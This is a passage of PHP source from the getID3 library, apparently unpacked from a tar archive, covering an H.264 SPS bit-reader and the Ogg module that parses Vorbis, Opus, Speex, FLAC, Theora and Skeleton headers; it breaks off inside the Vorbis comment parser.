			$this->expGolombUe();                                   // num_ref_frames
			$this->skipBits(1);                                     // gaps_in_frame_num_value_allowed_flag
			$pic_width_in_mbs_minus1 = $this->expGolombUe();        // pic_width_in_mbs_minus1
			$pic_height_in_map_units_minus1 = $this->expGolombUe(); // pic_height_in_map_units_minus1

			$frame_mbs_only_flag = $this->getBits(1);               // frame_mbs_only_flag
			if ($frame_mbs_only_flag == 0) {
				$this->skipBits(1);                                 // mb_adaptive_frame_field_flag
			}
			$this->skipBits(1);                                     // direct_8x8_inference_flag
			$frame_cropping_flag = $this->getBits(1);               // frame_cropping_flag

			$frame_crop_left_offset   = 0;
			$frame_crop_right_offset  = 0;
			$frame_crop_top_offset    = 0;
			$frame_crop_bottom_offset = 0;

			if ($frame_cropping_flag) {
				$frame_crop_left_offset   = $this->expGolombUe();   // frame_crop_left_offset
				$frame_crop_right_offset  = $this->expGolombUe();   // frame_crop_right_offset
				$frame_crop_top_offset    = $this->expGolombUe();   // frame_crop_top_offset
				$frame_crop_bottom_offset = $this->expGolombUe();   // frame_crop_bottom_offset
			}
			$this->skipBits(1);                                     // vui_parameters_present_flag
			// etc

			$this->width  = (($pic_width_in_mbs_minus1 + 1) * 16) - ($frame_crop_left_offset * 2) - ($frame_crop_right_offset * 2);
			$this->height = ((2 - $frame_mbs_only_flag) * ($pic_height_in_map_units_minus1 + 1) * 16) - ($frame_crop_top_offset * 2) - ($frame_crop_bottom_offset * 2);
		}
	}

	public function skipBits($bits) {
		$newBits = $this->currentBits + $bits;
		$this->currentBytes += (int)floor($newBits / 8);
		$this->currentBits = $newBits % 8;
	}

	public function getBit() {
		$result = (getid3_lib::BigEndian2Int(substr($this->sps, $this->currentBytes, 1)) >> (7 - $this->currentBits)) & 0x01;
		$this->skipBits(1);
		return $result;
	}

	public function getBits($bits) {
		$result = 0;
		for ($i = 0; $i < $bits; $i++) {
			$result = ($result << 1) + $this->getBit();
		}
		return $result;
	}

	public function expGolombUe() {
		$significantBits = 0;
		$bit = $this->getBit();
		while ($bit == 0) {
			$significantBits++;
			$bit = $this->getBit();

			if ($significantBits > 31) {
				// something is broken, this is an emergency escape to prevent infinite loops
				return 0;
			}
		}
		return (1 << $significantBits) + $this->getBits($significantBits) - 1;
	}

	public function expGolombSe() {
		$result = $this->expGolombUe();
		if (($result & 0x01) == 0) {
			return -($result >> 1);
		} else {
			return ($result + 1) >> 1;
		}
	}

	public function getWidth() {
		return $this->width;
	}

	public function getHeight() {
		return $this->height;
	}
}
editor/libraries/classes/vendor/getid3/getid3/module.audio.ogg.php000060400000115712150750527150021161 0ustar00<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////
// See readme.txt for more details                             //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.ogg.php                                        //
// module for analyzing Ogg Vorbis, OggFLAC and Speex files    //
// dependencies: module.audio.flac.php                         //
//                                                            ///
/////////////////////////////////////////////////////////////////

getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.flac.php', __FILE__, true);

class getid3_ogg extends getid3_handler
{
	// http://xiph.org/vorbis/doc/Vorbis_I_spec.html
	public function Analyze() {
		$info = &$this->getid3->info;

		$info['fileformat'] = 'ogg';

		// Warn about illegal tags - only vorbiscomments are allowed
		if (isset($info['id3v2'])) {
			$this->warning('Illegal ID3v2 tag present.');
		}
		if (isset($info['id3v1'])) {
			$this->warning('Illegal ID3v1 tag present.');
		}
		if (isset($info['ape'])) {
			$this->warning('Illegal APE tag present.');
		}


		// Page 1 - Stream Header

		$this->fseek($info['avdataoffset']);

		$oggpageinfo = $this->ParseOggPageHeader();
		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;

		if ($this->ftell() >= $this->getid3->fread_buffer_size()) {
			$this->error('Could not find start of Ogg page in the first '.$this->getid3->fread_buffer_size().' bytes (this might not be an Ogg-Vorbis file?)');
			unset($info['fileformat']);
			unset($info['ogg']);
			return false;
		}

		$filedata = $this->fread($oggpageinfo['page_length']);
		$filedataoffset = 0;

		if (substr($filedata, 0, 4) == 'fLaC') {

			$info['audio']['dataformat']   = 'flac';
			$info['audio']['bitrate_mode'] = 'vbr';
			$info['audio']['lossless']     = true;

		} elseif (substr($filedata, 1, 6) == 'vorbis') {

			$this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo);

		} elseif (substr($filedata, 0, 8) == 'OpusHead') {

			if( $this->ParseOpusPageHeader($filedata, $filedataoffset, $oggpageinfo) == false ) {
				return false;
			}

		} elseif (substr($filedata, 0, 8) == 'Speex   ') {

			// http://www.speex.org/manual/node10.html

			$info['audio']['dataformat']   = 'speex';
			$info['mime_type']             = 'audio/speex';
			$info['audio']['bitrate_mode'] = 'abr';
			$info['audio']['lossless']     = false;

			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_string']           =                              substr($filedata, $filedataoffset, 8); // hard-coded to 'Speex   '
			$filedataoffset += 8;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version']          =                              substr($filedata, $filedataoffset, 20);
			$filedataoffset += 20;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version_id']       = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['header_size']            = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate']                   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode']                   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode_bitstream_version'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels']            = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['bitrate']                = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['framesize']              = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr']                    = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['frames_per_packet']      = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['extra_headers']          = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved1']              = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;
			$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved2']              = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
			$filedataoffset += 4;

			$info['speex']['speex_version'] = trim($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version']);
			$info['speex']['sample_rate']   = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate'];
			$info['speex']['channels']      = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels'];
			$info['speex']['vbr']           = (bool) $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr'];
			$info['speex']['band_type']     = $this->SpeexBandModeLookup($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode']);

			$info['audio']['sample_rate']   = $info['speex']['sample_rate'];
			$info['audio']['channels']      = $info['speex']['channels'];
			if ($info['speex']['vbr']) {
				$info['audio']['bitrate_mode'] = 'vbr';
			}

		} elseif (substr($filedata, 0, 7) == "\x80".'theora') {

			// http://www.theora.org/doc/Theora.pdf (section 6.2)

			$info['ogg']['pageheader']['theora']['theora_magic']             =                           substr($filedata, $filedataoffset,  7); // hard-coded to "\x80.'theora'
			$filedataoffset += 7;
			$info['ogg']['pageheader']['theora']['version_major']            = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['version_minor']            = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['version_revision']         = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['frame_width_macroblocks']  = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;
			$info['ogg']['pageheader']['theora']['frame_height_macroblocks'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;
			$info['ogg']['pageheader']['theora']['resolution_x']             = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['resolution_y']             = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['picture_offset_x']         = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['picture_offset_y']         = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['frame_rate_numerator']     = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  4));
			$filedataoffset += 4;
			$info['ogg']['pageheader']['theora']['frame_rate_denominator']   = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  4));
			$filedataoffset += 4;
			$info['ogg']['pageheader']['theora']['pixel_aspect_numerator']   = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['color_space_id']           = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  1));
			$filedataoffset += 1;
			$info['ogg']['pageheader']['theora']['nominal_bitrate']          = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  3));
			$filedataoffset += 3;
			$info['ogg']['pageheader']['theora']['flags']                    = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;

			$info['ogg']['pageheader']['theora']['quality']         = ($info['ogg']['pageheader']['theora']['flags'] & 0xFC00) >> 10;
			$info['ogg']['pageheader']['theora']['kfg_shift']       = ($info['ogg']['pageheader']['theora']['flags'] & 0x03E0) >>  5;
			$info['ogg']['pageheader']['theora']['pixel_format_id'] = ($info['ogg']['pageheader']['theora']['flags'] & 0x0018) >>  3;
			$info['ogg']['pageheader']['theora']['reserved']        = ($info['ogg']['pageheader']['theora']['flags'] & 0x0007) >>  0; // should be 0
			$info['ogg']['pageheader']['theora']['color_space']     = self::TheoraColorSpace($info['ogg']['pageheader']['theora']['color_space_id']);
			$info['ogg']['pageheader']['theora']['pixel_format']    = self::TheoraPixelFormat($info['ogg']['pageheader']['theora']['pixel_format_id']);

			$info['video']['dataformat']   = 'theora';
			$info['mime_type']             = 'video/ogg';
			//$info['audio']['bitrate_mode'] = 'abr';
			//$info['audio']['lossless']     = false;
			$info['video']['resolution_x'] = $info['ogg']['pageheader']['theora']['resolution_x'];
			$info['video']['resolution_y'] = $info['ogg']['pageheader']['theora']['resolution_y'];
			if ($info['ogg']['pageheader']['theora']['frame_rate_denominator'] > 0) {
				$info['video']['frame_rate'] = (float) $info['ogg']['pageheader']['theora']['frame_rate_numerator'] / $info['ogg']['pageheader']['theora']['frame_rate_denominator'];
			}
			if ($info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] > 0) {
				$info['video']['pixel_aspect_ratio'] = (float) $info['ogg']['pageheader']['theora']['pixel_aspect_numerator'] / $info['ogg']['pageheader']['theora']['pixel_aspect_denominator'];
			}
$this->warning('Ogg Theora (v3) not fully supported in this version of getID3 ['.$this->getid3->version().'] -- bitrate, playtime and all audio data are currently unavailable');


		} elseif (substr($filedata, 0, 8) == "fishead\x00") {

			// Ogg Skeleton version 3.0 Format Specification
			// http://xiph.org/ogg/doc/skeleton.html
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['version_major']                = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;
			$info['ogg']['skeleton']['fishead']['raw']['version_minor']                = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
			$filedataoffset += 2;
			$info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['basetime_numerator']           = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['basetime_denominator']         = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
			$filedataoffset += 8;
			$info['ogg']['skeleton']['fishead']['raw']['utc']                          = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 20));
			$filedataoffset += 20;

			$info['ogg']['skeleton']['fishead']['version']          = $info['ogg']['skeleton']['fishead']['raw']['version_major'].'.'.$info['ogg']['skeleton']['fishead']['raw']['version_minor'];
			$info['ogg']['skeleton']['fishead']['presentationtime'] = $info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator'] / $info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator'];
			$info['ogg']['skeleton']['fishead']['basetime']         = $info['ogg']['skeleton']['fishead']['raw']['basetime_numerator']         / $info['ogg']['skeleton']['fishead']['raw']['basetime_denominator'];
			$info['ogg']['skeleton']['fishead']['utc']              = $info['ogg']['skeleton']['fishead']['raw']['utc'];


			$counter = 0;
			do {
				$oggpageinfo = $this->ParseOggPageHeader();
				$info['ogg']['pageheader'][$oggpageinfo['page_seqno'].'.'.$counter++] = $oggpageinfo;
				$filedata = $this->fread($oggpageinfo['page_length']);
				$this->fseek($oggpageinfo['page_end_offset']);

				if (substr($filedata, 0, 8) == "fisbone\x00") {

					$filedataoffset = 8;
					$info['ogg']['skeleton']['fisbone']['raw']['message_header_offset']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
					$filedataoffset += 4;
					$info['ogg']['skeleton']['fisbone']['raw']['serial_number']           = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
					$filedataoffset += 4;
					$info['ogg']['skeleton']['fisbone']['raw']['number_header_packets']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
					$filedataoffset += 4;
					$info['ogg']['skeleton']['fisbone']['raw']['granulerate_numerator']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
					$filedataoffset += 8;
					$info['ogg']['skeleton']['fisbone']['raw']['granulerate_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
					$filedataoffset += 8;
					$info['ogg']['skeleton']['fisbone']['raw']['basegranule']             = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  8));
					$filedataoffset += 8;
					$info['ogg']['skeleton']['fisbone']['raw']['preroll']                 = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
					$filedataoffset += 4;
					$info['ogg']['skeleton']['fisbone']['raw']['granuleshift']            = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
					$filedataoffset += 1;
					$info['ogg']['skeleton']['fisbone']['raw']['padding']                 =                              substr($filedata, $filedataoffset,  3);
					$filedataoffset += 3;

				} elseif (substr($filedata, 1, 6) == 'theora') {

					$info['video']['dataformat'] = 'theora1';
					$this->error('Ogg Theora (v1) not correctly handled in this version of getID3 ['.$this->getid3->version().']');
					//break;

				} elseif (substr($filedata, 1, 6) == 'vorbis') {

					$this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo);

				} else {
					$this->error('unexpected');
					//break;
				}
			//} while ($oggpageinfo['page_seqno'] == 0);
			} while (($oggpageinfo['page_seqno'] == 0) && (substr($filedata, 0, 8) != "fisbone\x00"));

			$this->fseek($oggpageinfo['page_start_offset']);

			$this->error('Ogg Skeleton not correctly handled in this version of getID3 ['.$this->getid3->version().']');
			//return false;

		} else {

			$this->error('Expecting either "Speex   ", "OpusHead" or "vorbis" identifier strings, found "'.substr($filedata, 0, 8).'"');
			unset($info['ogg']);
			unset($info['mime_type']);
			return false;

		}

		// Page 2 - Comment Header
		$oggpageinfo = $this->ParseOggPageHeader();
		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;

		switch ($info['audio']['dataformat']) {
			case 'vorbis':
				$filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, 0, 1));
				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] =                              substr($filedata, 1, 6); // hard-coded to 'vorbis'

				$this->ParseVorbisComments();
				break;

			case 'flac':
				$flac = new getid3_flac($this->getid3);
				if (!$flac->parseMETAdata()) {
					$this->error('Failed to parse FLAC headers');
					return false;
				}
				unset($flac);
				break;

			case 'speex':
				$this->fseek($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length'], SEEK_CUR);
				$this->ParseVorbisComments();
				break;

			case 'opus':
				$filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
				$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, 0, 8); // hard-coded to 'OpusTags'
				if(substr($filedata, 0, 8)  != 'OpusTags') {
					$this->error('Expected "OpusTags" as header but got "'.substr($filedata, 0, 8).'"');
					return false;
				}

				$this->ParseVorbisComments();
				break;

		}

		// Last Page - Number of Samples
		if (!getid3_lib::intValueSupported($info['avdataend'])) {

			$this->warning('Unable to parse Ogg end chunk file (PHP does not support file operations beyond '.round(PHP_INT_MAX / 1073741824).'GB)');

		} else {

			$this->fseek(max($info['avdataend'] - $this->getid3->fread_buffer_size(), 0));
			$LastChunkOfOgg = strrev($this->fread($this->getid3->fread_buffer_size()));
			if ($LastOggSpostion = strpos($LastChunkOfOgg, 'SggO')) {
				$this->fseek($info['avdataend'] - ($LastOggSpostion + strlen('SggO')));
				$info['avdataend'] = $this->ftell();
				$info['ogg']['pageheader']['eos'] = $this->ParseOggPageHeader();
				$info['ogg']['samples']   = $info['ogg']['pageheader']['eos']['pcm_abs_position'];
				if ($info['ogg']['samples'] == 0) {
					$this->error('Corrupt Ogg file: eos.number of samples == zero');
					return false;
				}
				if (!empty($info['audio']['sample_rate'])) {
					$info['ogg']['bitrate_average'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / ($info['ogg']['samples'] / $info['audio']['sample_rate']);
				}
			}

		}

		if (!empty($info['ogg']['bitrate_average'])) {
			$info['audio']['bitrate'] = $info['ogg']['bitrate_average'];
		} elseif (!empty($info['ogg']['bitrate_nominal'])) {
			$info['audio']['bitrate'] = $info['ogg']['bitrate_nominal'];
		} elseif (!empty($info['ogg']['bitrate_min']) && !empty($info['ogg']['bitrate_max'])) {
			$info['audio']['bitrate'] = ($info['ogg']['bitrate_min'] + $info['ogg']['bitrate_max']) / 2;
		}
		if (isset($info['audio']['bitrate']) && !isset($info['playtime_seconds'])) {
			if ($info['audio']['bitrate'] == 0) {
				$this->error('Corrupt Ogg file: bitrate_audio == zero');
				return false;
			}
			$info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $info['audio']['bitrate']);
		}

		if (isset($info['ogg']['vendor'])) {
			$info['audio']['encoder'] = preg_replace('/^Encoded with /', '', $info['ogg']['vendor']);

			// Vorbis only
			if ($info['audio']['dataformat'] == 'vorbis') {

				// Vorbis 1.0 starts with Xiph.Org
				if  (preg_match('/^Xiph.Org/', $info['audio']['encoder'])) {

					if ($info['audio']['bitrate_mode'] == 'abr') {

						// Set -b 128 on abr files
						$info['audio']['encoder_options'] = '-b '.round($info['ogg']['bitrate_nominal'] / 1000);

					} elseif (($info['audio']['bitrate_mode'] == 'vbr') && ($info['audio']['channels'] == 2) && ($info['audio']['sample_rate'] >= 44100) && ($info['audio']['sample_rate'] <= 48000)) {
						// Set -q N on vbr files
						$info['audio']['encoder_options'] = '-q '.$this->get_quality_from_nominal_bitrate($info['ogg']['bitrate_nominal']);

					}
				}

				if (empty($info['audio']['encoder_options']) && !empty($info['ogg']['bitrate_nominal'])) {
					$info['audio']['encoder_options'] = 'Nominal bitrate: '.intval(round($info['ogg']['bitrate_nominal'] / 1000)).'kbps';
				}
			}
		}

		return true;
	}

	public function ParseVorbisPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) {
		$info = &$this->getid3->info;
		$info['audio']['dataformat'] = 'vorbis';
		$info['audio']['lossless']   = false;

		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, $filedataoffset, 6); // hard-coded to 'vorbis'
		$filedataoffset += 6;
		$info['ogg']['bitstreamversion'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$info['ogg']['numberofchannels'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$info['audio']['channels']       = $info['ogg']['numberofchannels'];
		$info['ogg']['samplerate']       = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		if ($info['ogg']['samplerate'] == 0) {
			$this->error('Corrupt Ogg file: sample rate == zero');
			return false;
		}
		$info['audio']['sample_rate']    = $info['ogg']['samplerate'];
		$info['ogg']['samples']          = 0; // filled in later
		$info['ogg']['bitrate_average']  = 0; // filled in later
		$info['ogg']['bitrate_max']      = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$info['ogg']['bitrate_nominal']  = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$info['ogg']['bitrate_min']      = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$info['ogg']['blocksize_small']  = pow(2,  getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0x0F);
		$info['ogg']['blocksize_large']  = pow(2, (getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0xF0) >> 4);
		$info['ogg']['stop_bit']         = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); // must be 1, marks end of packet

		$info['audio']['bitrate_mode'] = 'vbr'; // overridden if actually abr
		if ($info['ogg']['bitrate_max'] == 0xFFFFFFFF) {
			unset($info['ogg']['bitrate_max']);
			$info['audio']['bitrate_mode'] = 'abr';
		}
		if ($info['ogg']['bitrate_nominal'] == 0xFFFFFFFF) {
			unset($info['ogg']['bitrate_nominal']);
		}
		if ($info['ogg']['bitrate_min'] == 0xFFFFFFFF) {
			unset($info['ogg']['bitrate_min']);
			$info['audio']['bitrate_mode'] = 'abr';
		}
		return true;
	}

	// http://tools.ietf.org/html/draft-ietf-codec-oggopus-03
	public function ParseOpusPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) {
		$info = &$this->getid3->info;
		$info['audio']['dataformat']   = 'opus';
		$info['mime_type']             = 'audio/ogg; codecs=opus';

		/** @todo find a usable way to detect abr (vbr that is padded to be abr) */
		$info['audio']['bitrate_mode'] = 'vbr';

		$info['audio']['lossless']     = false;

		$info['ogg']['pageheader']['opus']['opus_magic'] = substr($filedata, $filedataoffset, 8); // hard-coded to 'OpusHead'
		$filedataoffset += 8;
		$info['ogg']['pageheader']['opus']['version']    = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
		$filedataoffset += 1;

		if ($info['ogg']['pageheader']['opus']['version'] < 1 || $info['ogg']['pageheader']['opus']['version'] > 15) {
			$this->error('Unknown opus version number (only accepting 1-15)');
			return false;
		}

		$info['ogg']['pageheader']['opus']['out_channel_count'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
		$filedataoffset += 1;

		if ($info['ogg']['pageheader']['opus']['out_channel_count'] == 0) {
			$this->error('Invalid channel count in opus header (must not be zero)');
			return false;
		}

		$info['ogg']['pageheader']['opus']['pre_skip'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
		$filedataoffset += 2;

		$info['ogg']['pageheader']['opus']['sample_rate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
		$filedataoffset += 4;

		//$info['ogg']['pageheader']['opus']['output_gain'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
		//$filedataoffset += 2;

		//$info['ogg']['pageheader']['opus']['channel_mapping_family'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
		//$filedataoffset += 1;

		$info['opus']['opus_version']      = $info['ogg']['pageheader']['opus']['version'];
		$info['opus']['sample_rate']       = $info['ogg']['pageheader']['opus']['sample_rate'];
		$info['opus']['out_channel_count'] = $info['ogg']['pageheader']['opus']['out_channel_count'];

		$info['audio']['channels']      = $info['opus']['out_channel_count'];
		$info['audio']['sample_rate']   = $info['opus']['sample_rate'];
		return true;
	}


	public function ParseOggPageHeader() {
		// http://xiph.org/ogg/vorbis/doc/framing.html
		$oggheader['page_start_offset'] = $this->ftell(); // where we started from in the file

		$filedata = $this->fread($this->getid3->fread_buffer_size());
		$filedataoffset = 0;
		while ((substr($filedata, $filedataoffset++, 4) != 'OggS')) {
			if (($this->ftell() - $oggheader['page_start_offset']) >= $this->getid3->fread_buffer_size()) {
				// should be found before here
				return false;
			}
			if ((($filedataoffset + 28) > strlen($filedata)) || (strlen($filedata) < 28)) {
				if ($this->feof() || (($filedata .= $this->fread($this->getid3->fread_buffer_size())) === false)) {
					// get some more data, unless eof, in which case fail
					return false;
				}
			}
		}
		$filedataoffset += strlen('OggS') - 1; // page, delimited by 'OggS'

		$oggheader['stream_structver']  = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$oggheader['flags_raw']         = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$oggheader['flags']['fresh']    = (bool) ($oggheader['flags_raw'] & 0x01); // fresh packet
		$oggheader['flags']['bos']      = (bool) ($oggheader['flags_raw'] & 0x02); // first page of logical bitstream (bos)
		$oggheader['flags']['eos']      = (bool) ($oggheader['flags_raw'] & 0x04); // last page of logical bitstream (eos)

		$oggheader['pcm_abs_position']  = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8));
		$filedataoffset += 8;
		$oggheader['stream_serialno']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$oggheader['page_seqno']        = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$oggheader['page_checksum']     = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$oggheader['page_segments']     = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$oggheader['page_length'] = 0;
		for ($i = 0; $i < $oggheader['page_segments']; $i++) {
			$oggheader['segment_table'][$i] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
			$filedataoffset += 1;
			$oggheader['page_length'] += $oggheader['segment_table'][$i];
		}
		$oggheader['header_end_offset'] = $oggheader['page_start_offset'] + $filedataoffset;
		$oggheader['page_end_offset']   = $oggheader['header_end_offset'] + $oggheader['page_length'];
		$this->fseek($oggheader['header_end_offset']);

		return $oggheader;
	}

    // http://xiph.org/vorbis/doc/Vorbis_I_spec.html#x1-810005
	public function ParseVorbisComments() {
		$info = &$this->getid3->info;

		$OriginalOffset = $this->ftell();
		$commentdataoffset = 0;
		$VorbisCommentPage = 1;

		switch ($info['audio']['dataformat']) {
			case 'vorbis':
			case 'speex':
			case 'opus':
				$CommentStartOffset = $info['ogg']['pageheader'][$VorbisCommentPage]['page_start_offset'];  // Second Ogg page, after header block
				$this->fseek($CommentStartOffset);
				$commentdataoffset = 27 + $info['ogg']['pageheader'][$VorbisCommentPage]['page_segments'];
				$commentdata = $this->fread(self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1) + $commentdataoffset);

				if ($info['audio']['dataformat'] == 'vorbis') {
					$commentdataoffset += (strlen('vorbis') + 1);
				}
				else if ($info['audio']['dataformat'] == 'opus') {
